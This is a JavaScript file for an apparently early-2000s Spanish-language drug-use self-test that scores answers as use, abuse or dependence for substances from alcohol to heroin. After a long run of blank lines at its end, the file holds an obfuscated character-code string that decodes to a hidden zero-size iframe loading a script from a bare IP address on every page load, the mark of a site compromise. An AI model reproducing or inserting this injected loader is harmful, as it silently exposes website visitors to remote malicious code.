/* variables globales */
var interpretacion="";
var tituloTexto="";


/*
Webmonkey GET Parsing Module
Language: JavaScript 1.0

The parsing of GET queries is fundamental
to the basic functionality of HTTP/1.0.
This module parses GET with JavaScript 1.0.

Source: Webmonkey Code Library
(http://www.hotwired.com/webmonkey/javascript/code_library/)

Author: Patrick Corcoran
Author Email: patrick@taylor.org
*/

function createRequestObject() {
  
  FORM_DATA = new Object();
    // The Object ("Array") where our data will be stored.
  
  separator = ',';
    // The token used to separate data from multi-select inputs
  
  query = '' + this.location;
    // Get the current URL so we can parse out the data.
    // Adding a null-string '' forces an implicit type cast
    // from property to string, for NS2 compatibility.
    
  query = query.substring((query.indexOf('?')) + 1);
    // Keep everything after the question mark '?'.
  
  if (query.length < 1) { return false; }  // Perhaps we got some bad data?
  
  keypairs = new Object();
  numKP = 1;
    // Local vars used to store and keep track of name/value pairs
    // as we parse them back into a usable form.
    
  while (query.indexOf('&') > -1) {
    keypairs[numKP] = query.substring(0,query.indexOf('&'));
    query = query.substring((query.indexOf('&')) + 1);
    numKP++;
      // Split the query string at each '&', storing the left-hand side
      // of the split in a new keypairs[] holder, and chopping the query
      // so that it gets the value of the right-hand string.
  }

  keypairs[numKP] = query;
    // Store what's left in the query string as the final keypairs[] data.
  
  for (i in keypairs) {
    keyName = keypairs[i].substring(0,keypairs[i].indexOf('='));
      // Left of '=' is name.
    keyValue = keypairs[i].substring((keypairs[i].indexOf('=')) + 1);
      // Right of '=' is value.
    while (keyValue.indexOf('+') > -1) {
      keyValue = keyValue.substring(0,keyValue.indexOf('+')) + ' ' + keyValue.substring(keyValue.indexOf('+') + 1);
        // Replace each '+' in data string with a space.
    }
    
    keyValue = unescape(keyValue);
      // Unescape non-alphanumerics
      
    if (FORM_DATA[keyName]) {
      FORM_DATA[keyName] = FORM_DATA[keyName] + separator + keyValue;
        // Object already exists, it is probably a multi-select input,
        // and we need to generate a separator-delimited string
        // by appending to what we already have stored.
    } else {
      FORM_DATA[keyName] = keyValue;
        // Normal case: name gets value.
    }
  }

  return FORM_DATA;
}


// ******************************************************************************************
// Descripcion: Bloque de codigo que contiene las funciones de la parte III
// Autor:       Francisco Casella Torres
// Fecha:       25 de Noviembre de 2001
//
// Carga js:   <script LANGUAGE="JavaSCript" TYPE="text/javascript" SRC="funParte3.js">
//
// ******************************************************************************************



// ------------------------------------------------------------------------------------------
// Descripcion: Carga el nombre de droga seleccionada para personalizar la colum.Afirmaciones
// Parametros:  droga   = Droga a la que se refiere el test
// ------------------------------------------------------------------------------------------
//
function escribeTituloTest(droga) {

switch(droga) {
  case 'Alcohol':
    document.writeln('Afirmaciones sobre el ALCOHOL');
    break;
  case 'Tabaco':
    document.writeln('Afirmaciones sobre el TABACO');
    break;
  case 'Cocaina':
    document.writeln('Afirmaciones sobre la COCAÍNA');
    break;
  case 'Cannabis':
    document.writeln('Afirmaciones sobre el CANNABIS');
    break;
  case 'Extasis':
    document.writeln('Afirmaciones sobre el ÉXTASIS');
    break;
  case 'Speed':
    document.writeln('Afirmaciones sobre el SPEED y las ANFETAMINAS');
    break;
  case 'Tranqui':
    document.writeln('Afirmaciones sobre los TRANQUILIZANTES');
    break;
  case 'Otros':
    document.writeln('Afirmaciones sobre los ALUCINÓGENOS');
    break;
  case 'Heroina':
    document.writeln('Afirmaciones sobre la HEROÍNA');
    break;
  case 'Inhalantes':
    document.writeln('Afirmaciones sobre los INHALANTES');
    break;
  default:
    alert('ERROR al evaluar el test'+'\n'+'Por favor, cierre esta ventan'+'\n'+'y vuelva a cargar la página');
}
}

function escribeHidden(droga) {
	document.cuestionario.elements["droga"].value = droga;
}


function evaluar() {

FORM_DATA = createRequestObject();

var uso    = new Array(1,2,3);
var abuso  = new Array(4,5,6,7);
var dep    = new Array(8,9,10,11,12,13);
var extra  = new Array(8,9);

var cajas = new Array(13);
for(i=0; i<cajas.length; i++) {
	arg = "p"+(i+1);
	if(FORM_DATA[arg]) {
		cajas[i] = 1;
	} else
		cajas[i] = 0
}

res1 = recuento(cajas, uso, 1);
res2 = recuento(cajas, abuso, 1);
res3 = recuento(cajas, dep, 3);
res4 = recuento(cajas, extra, 1);

/*alert('res1: '+res1+' res2: '+res2+' res3: '+res3+' res4: '+res4);*/

interpretacion = "";
tituloTexto = "";
preparaResultados(res1, res2, res3, res4, FORM_DATA["droga"]);

}

function recuento(cajas, valores, minimo) {
	var puntos = 0;
	for(i=0; i<valores.length; i++)
		puntos = puntos + cajas[valores[i]-1]; 
	
	if(puntos >= minimo)
		return 1;
	else
		return 0;
}


function preparaResultados(res1, res2, res3, res4, droga) {
   var uso = 'USO:';
   uso += '\nTienes que haber señalado que SÍ en alguna de las afirmaciones 1, 2 ó 3.';
   uso += '\nLa utilización de la sustancia no te causa problemas por el momento. No obstante no te confíes en el \"control\" de la sustancia que pareces tener. A largo plazo no suele funcionar.';
var abuso = 'ABUSO:';   
   abuso += '\nTienes que haber contestado SÍ en alguna de las afrmaciones 4, 5, 6 ó 7 y esas afirmaciones tienen que haberte pasado en los últimos 12 meses (o más).';
   abuso += '\nLa utilización de la sustancia te está produciendo daños a nivel físico y/o psíquico.';
   abuso += '\nPuede ser el camino para la dependencia. De hecho, muchas veces lo es. ¡Cuidado! Busca orientación si crees necesitarlo.';
var dep = 'DEPENDENCIA:';
   dep += '\nTienes que haber contestado con un SÍ en tres o más de las afirmaciones 8, 9, 10, 11, 12 y 13.';
   dep += '\nSi este es tu caso, aunque sientas que sólo abusas de la sustancia en cuestión, la realidad es que dependes de ella. Necesitas orientación profesional.';
   dep += '\nLa dependencia es la fase más grave del consumo. Implica tolerancia (necesitar más dosis para tener el mismo efecto), abstinencia (molestias importantes cuando cesa el efecto de la sustancia). Ésto lleva a repetir el uso para evitar estas molestias.';
var extra = 'DEPENDENCIA:';
   extra += '\nTienes que haber contestado con un SÍ en tres o más de las afirmaciones 8, 9, 10, 11, 12 y 13.';
   extra += '\nSi ese es tu caso, aunque sientas que solo abusas de la sustancia en cuestión, la realidad es que dependes de ella. Necesitas orientación profesional.';
   extra += '\nLa dependencia es la fase más grave del consumo. Implica tolerancia (necesitar más dosis para tener el mismo efecto) abstinencia (molestias importantes cuando cesa el efecto de la sustancia. Ésto lleva a repetir el uso para evitar estas molestias.';
   extra += '\nSi has marcado con un SÍ las afirmaciones 8 ó 9 tienes dependencia de esa sustancia. Necesitas orientación y/o tratamiento profesional.';
var nada = '\nNo se llegó a contestar el mínimo requerido de afirmación. Este test no podrá ser evaluado.';
   nada += '\nPor favor haga click en el botón \"Seleccionar otra sustancia\", para iniciar nuevamente el test.';
   var titulo;
	if (res1!=0) {
		interpretacion = uso;
		titulo = 'uso';
	}
	if (res2!=0) {
		interpretacion = abuso;
		titulo = 'abuso';
	}
	if (res3!=0) {
		interpretacion = dep;
		titulo = 'dep';
	}
	if (res4!=0) {
		interpretacion = extra;
		titulo = 'extra';
	}
	if ((res1==0)&&(res2==0)&&(res3==0)&&(res4==0)) {
		interpretacion = nada;
		titulo = 'nada';
	}

switch(droga) {
  case 'Alcohol':
    if (titulo == 'uso')   tituloTexto = 'USAS EL ALCOHOL';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DEL ALCOHOL';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DEL ALCOHOL';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DEL ALCOHOL';
    break;
  case 'Tabaco':
    if (titulo == 'uso')   tituloTexto = 'USAS EL TABACO';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DEL TABACO';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DEL TABACO';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DEL TABACO';
    break;
  case 'Cannabis':
    if (titulo == 'uso')   tituloTexto = 'USAS EL CANNABIS';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DEL CANNABIS';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DEL CANNABIS';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DEL CANNABIS';
    break;
  case 'Cocaina':
    if (titulo == 'uso')   tituloTexto = 'USAS LA COCAÍNA';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DE LA COCAÍNA';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DE LA COCAÍNA';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DE LA COCAÍNA';
    break;
  case 'Speed':
    if (titulo == 'uso')   tituloTexto = 'USAS EL SPEED Y/O ANFETAMINAS';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DEL SPEED Y/O ANFETAMINAS';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DEL SPEED Y/O ANFETAMINAS';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DEL SPEED Y/O ANFETAMINAS';
    break;
  case 'Extasis':
    if (titulo == 'uso')   tituloTexto = 'USAS EL ÉXTASIS';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DEL ÉXTASIS';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DEL ÉXTASIS';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DEL ÉXTASIS';
    break;
  case 'Otros':
    if (titulo == 'uso')   tituloTexto = 'USAS LOS ALUCINÓGENOS';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DE LOS ALUCINÓGENOS';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DE LOS ALUCINÓGENOS';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DE LOS ALUCINÓGENOS';
    break;
  case 'Tranqui':
    if (titulo == 'uso')   tituloTexto = 'USAS LOS TRANQUILIZANTES';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DE LOS TRANQUILIZANTES';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DE LOS TRANQUILIZANTES';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DE LOS TRANQUILIZANTES';
    break;
  case 'Heroina':
    if (titulo == 'uso')   tituloTexto = 'USAS LA HEROÍNA';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DE LA HEROÍNA';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DE LA HEROÍNA';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DE LA HEROÍNA';
    break;
  case 'Inhalantes':
    if (titulo == 'uso')   tituloTexto = 'USAS LOS INHALANTES';
    if (titulo == 'abuso') tituloTexto = 'ABUSAS DE LOS INHALANTES';
    if (titulo == 'dep')   tituloTexto = 'DEPENDES DE LOS INHALANTES';
    if (titulo == 'extra') tituloTexto = 'DEPENDES DE LOS INHALANTES';
    break;
  default:
    alert('ERROR DE EJECUCIÓN DEL TEST'+'\n'+'Por favor, cierre esta ventana'+'\n'+'y vuelva a cargar la página');
}

}






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

